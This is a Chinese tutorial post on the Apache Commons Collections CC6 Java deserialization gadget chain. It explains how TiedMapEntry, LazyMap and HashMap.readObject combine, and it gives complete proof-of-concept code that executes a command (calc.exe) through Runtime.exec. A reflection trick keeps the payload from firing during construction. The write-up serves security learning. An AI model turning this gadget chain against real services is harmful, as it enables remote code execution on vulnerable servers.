不删除“key“的CC6反序列化

· 声明 ·
出品|先知社区(ID:Ahoge)

以下内容,来自先知社区的Ahoge作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,长白山攻防实验室以及文章作者不承担任何责任。

· 如何利用CC6 ·

CC6,一个增强版的CC1,能够在高版本中使用。利用类还是和CC1一样,但是替换掉了CC1中用来反序列化的AnnotationInvocationHandler类。在CC6中触发反序列化漏洞的是HashMap类,而HashMap是怎么融合进CC6中的呢?

这里我们看一下TiedMapEntry 类中的 getValue 方法

public Object getValue() {
        return map.get(key);
    }

在这里,map字段调用了get方法,并以字段key 作为参数。这个get方法在CC1 的时候也有出现过,通过调用LazyMap类的get 方法,从而触发利用链。

之后我们再看一下TiedMapEntry类的另一个方法,hashCode

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

在这个方法中,调用到了getValue方法来获取value的值。到这里,结合CC1所学到的知识点,就可以构造出利用链了。

TiedMapEntry.hashCode()
    TiedMapEntry.getValue()
        LazyMap.get()
            ChainTransformer.transform()
                InvokerTransformer.transform()
Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map lazyMap=  LazyMap.decorate(new HashMap(), transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap,"sakut2");
        entry.hashCode();

图片

既然利用点有了,那我们现在还需要一个入口点去触发他。既然是要调用hashCode的话那么HashMap类就可以派上用场了

HashMap利用

看一下HashMap#readObject方法的代码

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));

HashMap在反序列化的时候会使用hash方法来计算hash值,而在hash方法中会调用到key的hashCode方法

那么我们使用HashMap#put方法将TiedMapEntry类的对象添加到key中,那么就可以顺利调用到hashCode方法了

HashMap hashMap=new HashMap();        
hashMap.put(entry,"sakut2");

但是在调用put 方法的时候也会触发hash方法,从而导致payload触发。这里我们可以和处理URLDNS链一样,在触发之前把能触发payload的值先替换成别的,之后再使用反射替换成恶意值。

这里我们可以把TiedMapEntry构造方法中的lazyMap对象替换成一个普通的Map 类,这里使用的是HashMap类。

TiedMapEntry entry = new TiedMapEntry(new HashMap(),"sakut2");

在调用put方法将new HashMap()添加到key中后再通过反射把TiedMapEntry中的map字段的值修改回lazyMap对象

Field field = entry.getClass().getDeclaredField("map");        
field.setAccessible(true);        
field.set(entry,lazyMap);

这样我们的payload就完成了

public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class}, new String[] { "calc.exe" })
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map lazyMap=  LazyMap.decorate(new HashMap(), transformerChain);
        TiedMapEntry entry = new TiedMapEntry(new HashMap(),"sakut2");
        HashMap hashMap = new HashMap();
        hashMap.put(entry,"sakut2");
        Field field = entry.getClass().getDeclaredField("map");
        field.setAccessible(true);
        field.set(entry,lazyMap);
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC6"));
        oos.writeObject(hashMap);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC6"));
        ois.readObject();

成功反序列化

图片

· 小结 ·

这条链子没有采用删除key的方式,调用put方法的时候添加的key是直接添加在了实例化的HashMap中,和LazyMap没有关系,所以在后面只要我们使用反射把实例化的HashMap替换成LazyMap就能够直接进行序列化的操作了。调试时发现的一个比较鸡肋的知识点,仅能证明自己对这条链有自己的思考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值